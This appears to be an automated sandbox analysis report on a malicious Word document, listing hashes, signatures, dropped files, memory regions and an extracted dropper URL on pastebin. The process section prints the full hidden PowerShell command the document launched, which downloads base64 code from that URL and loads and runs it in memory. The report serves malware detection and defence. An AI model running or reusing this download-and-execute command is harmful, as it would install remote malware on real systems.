Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-07-2024 17:18

General

  • Target

    5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077.doc

  • Size

    781KB

  • MD5

    0949319f174a220b4e719715d9d5b20e

  • SHA1

    cdebf579f8f30226872d0b5bbeaeaa81877fe9c8

  • SHA256

    5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077

  • SHA512

    9e5f5362ea147aa19ae6ebe74cbf037b2a295343f01cab5b1a44a076954abf3773d77e3fae26e0ebf488b1fde579e2178a75183b6a74a5acb669b4ed503d9632

  • SSDEEP

    6144:rcnOY442OGwG1e3MenWfLds5Gn/RQQDPzuUC3uJXfr2opd91pV0mccMRdWIb8haR:rvCG1PenjQzi5Wyk/yJY0F

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://pastebin.com/raw/pw1Ht9hR

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2928
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/pw1Ht9hR'))).EntryPoint.Invoke($null,$null)
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4064

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\CEDA6E70.emf

    Filesize

    47KB

    MD5

    f8c7ec6da57ae75490132ff35cef2247

    SHA1

    962da8dd8ec8d636ebfeb3beecc296fa0b0e64f8

    SHA256

    849fdaaab3c0ca296b2c06a1d7b2f0779a594a0b796023810eda1d7606af31cb

    SHA512

    e44be74690c981f54b78765716abfb51e2f5108d034623bea9f5213dccd1b1342b9547370a09b7bf5a4f0c70c9d81c6d61d77e5fff6fe096e9313ba8b5a5d094

  • C:\Users\Admin\AppData\Local\Temp\TCDF636.tmp\sist02.xsl

    Filesize

    245KB

    MD5

    f883b260a8d67082ea895c14bf56dd56

    SHA1

    7954565c1f243d46ad3b1e2f1baf3281451fc14b

    SHA256

    ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

    SHA512

    d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jqgpclbb.5gu.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryFR040c.lex

    Filesize

    2B

    MD5

    f3b25701fe362ec84616a93a45ce9998

    SHA1

    d62636d8caec13f04e28442a0a6fa1afeb024bbb

    SHA256

    b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

    SHA512

    98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

    Filesize

    1KB

    MD5

    168b9cf80b9afeb3ba7d2ce282e8e9c1

    SHA1

    e0690a16ebf8104da82a30bf0072ed64f2661844

    SHA256

    4985e0e1a131539af6a30aa39da5697961e47a39c23124f7f7d754d8be45ce82

    SHA512

    724dc47239ff529c36b2bd4896d978b80f573a612d634fd02e9662754fc96c3e4c2639ffe88eef61db47852bfeb79274b44dd0f0a41884e3f271550f543b6c5f

  • memory/2928-20-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-39-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-9-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-10-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-11-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-12-0x00007FFE4C160000-0x00007FFE4C170000-memory.dmp

    Filesize

    64KB

  • memory/2928-15-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-14-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-13-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-7-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-5-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp

    Filesize

    64KB

  • memory/2928-16-0x00007FFE4C160000-0x00007FFE4C170000-memory.dmp

    Filesize

    64KB

  • memory/2928-18-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-22-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-21-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-0-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp

    Filesize

    64KB

  • memory/2928-19-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-17-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-38-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-8-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-236-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-6-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-234-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp

    Filesize

    64KB

  • memory/2928-4-0x00007FFE8E5AD000-0x00007FFE8E5AE000-memory.dmp

    Filesize

    4KB

  • memory/2928-235-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp

    Filesize

    64KB

  • memory/2928-232-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp

    Filesize

    64KB

  • memory/2928-1-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp

    Filesize

    64KB

  • memory/2928-2-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp

    Filesize

    64KB

  • memory/2928-89-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-3-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp

    Filesize

    64KB

  • memory/2928-207-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-233-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp

    Filesize

    64KB

  • memory/4064-208-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

    Filesize

    2.0MB

  • memory/4064-61-0x00000204DAE40000-0x00000204DAEB6000-memory.dmp

    Filesize

    472KB

  • memory/4064-60-0x00000204DAB50000-0x00000204DAB94000-memory.dmp

    Filesize

    272KB

  • memory/4064-50-0x00000204DA890000-0x00000204DA8B2000-memory.dmp

    Filesize

    136KB

  • memory/4064-43-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

    Filesize

    2.0MB